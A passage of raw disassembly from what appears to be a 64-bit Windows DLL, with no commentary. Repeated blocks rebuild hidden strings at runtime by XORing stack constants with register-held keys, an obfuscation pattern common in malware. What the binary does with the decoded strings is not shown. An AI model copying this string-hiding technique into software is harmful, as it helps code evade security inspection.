call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x30b0]
call fcn.180004520
nop
lea rdx, [rbp + 0x30b0]
lea rcx, [rbp + 0xaa38]
call fcn.180007160
nop
lea rcx, [rbp + 0x30b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6510]
call fcn.180040870
nop
lea rcx, [rbp + 0x3090]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0xed], al
mov byte [rbp + 0xee], al
movabs rax, 0xb93a4fc3d68e3685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x730], rax
movabs rax, 0x4dd6a69c6b336c87
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x738], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb2e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb2e8], rax
movdqa xmm0, xmmword [rbp + 0x730]
pxor xmm0, xmmword [rbp + 0xb2e0]
movdqa xmmword [rbp + 0x730], xmm0
lea rdx, [rbp + 0x730]
lea rcx, [rbp + 0x3070]
call fcn.180004520
nop
lea rdx, [rbp + 0x3070]
lea rcx, [rbp + 0x6530]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xaa38]
lea rcx, [rbp + 0xaad8]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6530]
call fcn.180040870
nop
lea rcx, [rbp + 0x3070]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0xef], al
mov byte [rbp + 0xf0], al
movabs rax, 0xb8452ac0d1fd3285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1360], rax
movabs rax, 0x37a6cbd068374584
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1368], rax
movabs rsi, 0xfb38a9272c48be25
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1370], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1378], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc300], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc308], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc310], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc318], rax
vmovdqu ymm0, ymmword [rbp + 0xc300]
vpxor ymm1, ymm0, ymmword [rbp + 0x1360]
vmovdqa ymmword [rbp + 0x1360], ymm1
lea rdx, [rbp + 0x1360]
lea rcx, [rbp + 0x3050]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3050]
lea rcx, [rbp + 0x6550]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xaad8]
lea rcx, [rbp + 0xa7b8]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6550]
call fcn.180040870
nop
lea rcx, [rbp + 0x3050]
call fcn.180040870
lea rcx, [rbp + 0xa7b8]
call fcn.1800117f0
test al, al
je 0x18002c457
xor eax, eax
mov byte [rbp + 0xf1], al
mov byte [rbp + 0xf2], al
movabs rax, 0xe5145ffdd3ed188f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1380], rax
movabs rax, 0x21bae1fe56274285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1388], rax
movabs rax, 0x8d76c746642de225
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1390], rax
movabs rax, 0xa617ae62d90a13ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1398], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc320], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc328], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc330], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc338], rax
vmovdqu ymm0, ymmword [rbp + 0xc320]
vpxor ymm1, ymm0, ymmword [rbp + 0x1380]
vmovdqa ymmword [rbp + 0x1380], ymm1
lea rdx, [rbp + 0x1380]
lea rcx, [rbp + 0x3010]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0xf3], al
mov byte [rbp + 0xf4], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13a0], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13a8], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x13b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc340], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc348], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc350], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc358], rax
vmovdqu ymm0, ymmword [rbp + 0xc340]
vpxor ymm1, ymm0, ymmword [rbp + 0x13a0]
vmovdqa ymmword [rbp + 0x13a0], ymm1
lea rdx, [rbp + 0x13a0]
lea rcx, [rbp + 0x3030]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x3010]
lea rcx, [rbp + 0x6590]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x3030]
lea rcx, [rbp + 0x6570]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xa7b8]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6570]
call fcn.180040870
nop
lea rcx, [rbp + 0x6590]
call fcn.180040870
nop
lea rcx, [rbp + 0x3030]
call fcn.180040870
nop
lea rcx, [rbp + 0x3010]
call fcn.180040870
nop
lea rcx, [rbp + 0xa7b8]
call fcn.180040870
nop
lea rcx, [rbp + 0xaad8]
call fcn.180040870
nop
lea rcx, [rbp + 0xaa38]
call fcn.180040870
jmp 0x18002c489
movabs rsi, 0xfb38a9272c48be25
cmp byte [rbp + 0x24], 0
je 0x18002cbed
xor eax, eax
mov byte [rbp + 0xf5], al
mov byte [rbp + 0xf6], al
movabs rax, 0xda3e74ccfdf5238b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13c0], rax
movabs rax, 0x7083e3c8583f1bb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x13d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x13d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc360], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc368], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc370], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc378], rax
vmovdqu ymm0, ymmword [rbp + 0xc360]
vpxor ymm1, ymm0, ymmword [rbp + 0x13c0]
vmovdqa ymmword [rbp + 0x13c0], ymm1
lea rdx, [rbp + 0x13c0]
lea rcx, [rbp + 0x2fd0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x2fd0]
lea rcx, [rbp + 0x65b0]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x2ff0]
call fcn.180004520
nop
lea rdx, [rbp + 0x2ff0]
lea rcx, [rbp + 0xabb8]
call fcn.180007160
nop
lea rcx, [rbp + 0x2ff0]
call fcn.180040870
nop
lea rcx, [rbp + 0x65b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x2fd0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0xf7], al
mov byte [rbp + 0xf8], al
movabs rax, 0xe1494ffdc88e3685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13e0], rax
movabs rax, 0x3880f1fd612b4685
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13e8], rax
movabs rax, 0xfb38a9272c41cd23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x13f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x13f8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc380], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc388], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc390], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc398], rax
vmovdqu ymm0, ymmword [rbp + 0xc380]
vpxor ymm1, ymm0, ymmword [rbp + 0x13e0]
vmovdqa ymmword [rbp + 0x13e0], ymm1
lea rdx, [rbp + 0x13e0]
lea rcx, [rbp + 0x2fb0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x2fb0]
lea rcx, [rbp + 0x65d0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xabb8]
lea rcx, [rbp + 0xab98]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x65d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x2fb0]
call fcn.180040870
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0xf9], al
mov byte [rbp + 0xfa], al
movabs rax, 0xf92e50fdd7f53d85
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x740], rax
movabs rax, 0x4dd6a69c68014684
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x748], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb290], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb298], rax
movdqa xmm0, xmmword [rbp + 0x740]
pxor xmm0, xmmword [rbp + 0xb290]
movdqa xmmword [rbp + 0x740], xmm0
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0x2f90]
call fcn.180004520
nop
lea rdx, [rbp + 0x2f90]
lea rcx, [rbp + 0x65f0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xab98]
lea rcx, [rbp + 0xab78]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x65f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x2f90]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0xfb], al
mov byte [rbp + 0xfc], al
movabs rax, 0xb4294ffbd3df3285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb280], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb288], rax
movdqa xmm0, xmmword [rbp + 0x750]
pxor xmm0, xmmword [rbp + 0xb280]
movdqa xmmword [rbp + 0x750], xmm0
lea rdx, [rbp + 0x750]
lea rcx, [rbp + 0x2f70]
call fcn.180004520
nop
lea rdx, [rbp + 0x2f70]
lea rcx, [rbp + 0x6610]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xab78]
lea rcx, [rbp + 0xab58]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6610]
call fcn.180040870
nop
lea rcx, [rbp + 0x2f70]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0xfd], al
mov byte [rbp + 0xfe], al
movabs rax, 0xb8452ac0d1fd3285
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1400], rax
movabs rax, 0x37a6cbd068374584
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1408], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x1410], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1418], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc3a0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc3a8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc3b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc3b8], rax
vmovdqu ymm0, ymmword [rbp + 0xc3a0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1400]
vmovdqa ymmword [rbp + 0x1400], ymm1
lea rdx, [rbp + 0x1400]
lea rcx, [rbp + 0x2f50]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x2f50]
lea rcx, [rbp + 0x6630]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xab58]
lea rcx, [rbp + 0xa998]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6630]
call fcn.180040870
nop
lea rcx, [rbp + 0x2f50]
call fcn.180040870
lea rcx, [rbp + 0xa998]
call fcn.1800117f0
test al, al
je 0x18002cba7
xor eax, eax
mov byte [rbp + 0xff], al
mov byte [rbp + 0x100], al
movabs rax, 0xee3540c0ceed3d89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1420], rax
movabs rax, 0x7de3f1c6621d19b7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1428], rax
movabs rax, 0xc60c9b456b0ce10b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1430], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1438], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc3c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc3c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc3d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc3d8], rax
vmovdqu ymm0, ymmword [rbp + 0xc3c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1420]
vmovdqa ymmword [rbp + 0x1420], ymm1
lea rdx, [rbp + 0x1420]
lea rcx, [rbp + 0x2f10]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x101], al
mov byte [rbp + 0x102], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1440], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1448], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1450], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1458], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc3e0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc3e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc3f0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc3f8], rax
vmovdqu ymm0, ymmword [rbp + 0xc3e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x1440]
vmovdqa ymmword [rbp + 0x1440], ymm1
lea rdx, [rbp + 0x1440]
lea rcx, [rbp + 0x2f30]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x2f10]
lea rcx, [rbp + 0x6670]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x2f30]
lea rcx, [rbp + 0x6650]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xa998]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6650]
call fcn.180040870
nop
lea rcx, [rbp + 0x6670]
call fcn.180040870
nop
lea rcx, [rbp + 0x2f30]
call fcn.180040870
nop
lea rcx, [rbp + 0x2f10]
call fcn.180040870
call fcn.180004e10
nop
lea rcx, [rbp + 0xa998]
call fcn.180040870
nop
lea rcx, [rbp + 0xab58]
call fcn.180040870
nop
lea rcx, [rbp + 0xab78]
call fcn.180040870
nop
lea rcx, [rbp + 0xab98]
call fcn.180040870
nop
lea rcx, [rbp + 0xabb8]
call fcn.180040870
cmp byte [rbp + 0x25], 0
je 0x18002d47b
xor eax, eax
mov byte [rbp + 0x103], al
mov byte [rbp + 0x104], al
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x760], rax
movabs rax, 0x4dd6a69c2f587ab7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x768], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb270], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb278], rax
movdqa xmm0, xmmword [rbp + 0x760]
pxor xmm0, xmmword [rbp + 0xb270]
movdqa xmmword [rbp + 0x760], xmm0
lea rdx, [rbp + 0x760]
lea rcx, [rbp + 0x2ed0]
call fcn.180004520
nop
lea rdx, [rbp + 0x2ed0]
lea rcx, [rbp + 0x6690]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x2ef0]
call fcn.180004520
nop
lea rdx, [rbp + 0x2ef0]
lea rcx, [rbp + 0xa958]
call fcn.180007160
nop
lea rcx, [rbp + 0x2ef0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6690]
call fcn.180040870
nop
lea rcx, [rbp + 0x2ed0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x105], al
mov byte [rbp + 0x106], al
movabs rbx, 0xf9045fc3d3f13085
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x29a0], rax
movabs rax, 0x3dae94cd75511984
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x29a8], rax
movabs rax, 0x917eee7f2149db1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x29b0], rax
movabs rax, 0xdc45c000d50e46f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x29b8], rax
movabs rax, 0x69b028f7b22a05d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x29c0], rax
movabs r13, 0x14225300d2a7466a
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x29c8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb540], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb548], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb550], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb558], rax
movabs rsi, 0x3baf30ed0152cd11
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb560], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb568], rax
vmovdqu ymm0, ymmword [rbp + 0xb540]
vpxor ymm1, ymm0, ymmword [rbp + 0x29a0]
vmovdqa ymmword [rbp + 0x29a0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x29c0]
vpxor xmm2, xmm2, xmmword [rbp + 0xb560]
vmovdqa xmmword [rbp + 0x29c0], xmm2
lea rdx, [rbp + 0x29a0]
lea rcx, [rbp + 0x2eb0]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x2eb0]
lea rcx, [rbp + 0x66b0]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa958]
lea rcx, [rbp + 0xa978]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x66b0]
call fcn.180040870
nop
lea rcx, [rbp + 0x2eb0]
call fcn.180040870
lea rcx, [rbp + 0xa978]
call fcn.1800117f0
test al, al
je 0x18002d0ae
xor eax, eax
mov byte [rbp + 0x107], al
mov byte [rbp + 0x108], al
movabs rax, 0xff105ffbd0fd188c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1460], rax
movabs rax, 0x21bae1fe56274284
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1468], rax
movabs rax, 0x8d76c746642de225
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1470], rax
movabs rax, 0xa617ae62d90a13ca
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1478], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc400], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc408], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc410], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc418], rax
vmovdqu ymm0, ymmword [rbp + 0xc400]
vpxor ymm1, ymm0, ymmword [rbp + 0x1460]
vmovdqa ymmword [rbp + 0x1460], ymm1
lea rdx, [rbp + 0x1460]
lea rcx, [rbp + 0x2e70]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x109], al
mov byte [rbp + 0x10a], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1480], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1488], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1490], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x1498], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc420], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc428], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc430], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc438], rax
vmovdqu ymm0, ymmword [rbp + 0xc420]
vpxor ymm1, ymm0, ymmword [rbp + 0x1480]
vmovdqa ymmword [rbp + 0x1480], ymm1
lea rdx, [rbp + 0x1480]
lea rcx, [rbp + 0x2e90]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x2e70]
lea rcx, [rbp + 0x66f0]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x2e90]
lea rcx, [rbp + 0x66d0]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xa978]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x66d0]
call fcn.180040870
nop
lea rcx, [rbp + 0x66f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x2e90]
call fcn.180040870
nop
lea rcx, [rbp + 0x2e70]
call fcn.180040870
movabs rbx, 0xf9045fc3d3f13085
call fcn.180004e10
xor eax, eax
mov byte [rbp + 0x10b], al
mov byte [rbp + 0x10c], al
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x29e0], rax
movabs rax, 0x3dae94cd75511984
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x29e8], rax
movabs rax, 0x917eee7f2149db1d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x29f0], rax
movabs rax, 0xdc45c000d50e46f1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x29f8], rax
movabs rax, 0x69271896900a05d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x2a00], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x2a08], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb8c0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb8c8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xb8d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xb8d8], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xb8e0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xb8e8], rax
vmovdqu ymm0, ymmword [rbp + 0xb8c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x29e0]
vmovdqa ymmword [rbp + 0x29e0], ymm1
vmovdqa xmm2, xmmword [rbp + 0x2a00]
vpxor xmm2, xmm2, xmmword [rbp + 0xb8e0]
vmovdqa xmmword [rbp + 0x2a00], xmm2
lea rdx, [rbp + 0x29e0]
lea rcx, [rbp + 0x2e50]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x2e50]
lea rcx, [rbp + 0x6710]
call fcn.1800553f0
nop
mov r8, rax
lea rdx, [rbp + 0xa958]
lea rcx, [rbp + 0xa9d8]
call fcn.180041ee0
nop
lea rcx, [rbp + 0x6710]
call fcn.180040870
nop
lea rcx, [rbp + 0x2e50]
call fcn.180040870
lea rcx, [rbp + 0xa9d8]
call fcn.1800117f0
test al, al
je 0x18002d453
xor eax, eax
mov byte [rbp + 0x10d], al
mov byte [rbp + 0x10e], al
movabs rax, 0xff105ffbd0fd188c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14a0], rax
movabs rax, 0x21bae1fe56274284
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14a8], rax
movabs rax, 0xcb7eee7d642de225
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14b0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x14b8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc440], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc448], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc450], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc458], rax
vmovdqu ymm0, ymmword [rbp + 0xc440]
vpxor ymm1, ymm0, ymmword [rbp + 0x14a0]
vmovdqa ymmword [rbp + 0x14a0], ymm1
lea rdx, [rbp + 0x14a0]
lea rcx, [rbp + 0x2e10]
vzeroupper
call fcn.180004520
nop
xor eax, eax
mov byte [rbp + 0x10f], al
mov byte [rbp + 0x110], al
movabs rax, 0xff3140c3cffd478f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c0], rax
movabs rax, 0x3498f1c667097cb2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14c8], rax
movabs rax, 0xfb38a9272126db1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x14d0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x14d8], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xc460], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xc468], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc470], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0xc478], rax
vmovdqu ymm0, ymmword [rbp + 0xc460]
vpxor ymm1, ymm0, ymmword [rbp + 0x14c0]
vmovdqa ymmword [rbp + 0x14c0], ymm1
lea rdx, [rbp + 0x14c0]
lea rcx, [rbp + 0x2e30]
vzeroupper
call fcn.180004520
nop
lea rdx, [rbp + 0x2e10]
lea rcx, [rbp + 0x6750]
call fcn.1800553f0
mov rbx, rax
lea rdx, [rbp + 0x2e30]
lea rcx, [rbp + 0x6730]
call fcn.1800553f0
nop
mov r8, rbx
lea rdx, [rbp + 0xa9d8]
mov rcx, rax
call fcn.180006f40
nop
lea rcx, [rbp + 0x6730]
call fcn.180040870
nop
lea rcx, [rbp + 0x6750]
call fcn.180040870
nop
lea rcx, [rbp + 0x2e30]
call fcn.180040870
nop
lea rcx, [rbp + 0x2e10]
call fcn.180040870
nop
lea rcx, [rbp + 0xa9d8]
call fcn.180040870
nop
lea rcx, [rbp + 0xa978]
call fcn.180040870
nop
lea rcx, [rbp + 0xa958]
call fcn.180040870
jmp 0x18002d48f
movabs rsi, 0x3baf30ed0152cd11
movabs r13, 0x14225300d2a7466a
cmp byte [rbp + 0x26], 0
je 0x18002d9d3
xor eax, eax
mov byte [rbp + 0x111], al
mov byte [rbp + 0x112], al
movabs rax, 0xdc3a5dcbeaf9238c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x770], rax
movabs rax, 0x4dd6a69c2f587ab7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x778], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0xb260], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0xb268], rax
movdqa xmm0, xmmword [rbp + 0x770]
pxor xmm0, xmmword [rbp + 0xb260]
movdqa xmmword [rbp + 0x770], xmm0
lea rdx, [rbp + 0x770]
lea rcx, [rbp + 0x58d0]
call fcn.180004520
nop
lea rdx, [rbp + 0x58d0]
lea rcx, [rbp + 0x6770]
call fcn.1800553f0
nop
mov rcx, rax
call fcn.18003dd10
mov rdx, rax
lea rcx, [rbp + 0x58f0]
call fcn.180004520
nop
lea rdx, [rbp + 0x58f0]
lea rcx, [rbp + 0xabd8]
call fcn.180007160
nop
lea rcx, [rbp + 0x58f0]
call fcn.180040870
nop
lea rcx, [rbp + 0x6770]
call fcn.180040870
nop
lea rcx, [rbp + 0x58d0]
call fcn.180040870
xor eax, eax
mov byte [rbp + 0x113], al
mov byte [rbp + 0x114], al
movabs rax, 0xc71076c0d3c33085
mov qword [rbp], rax
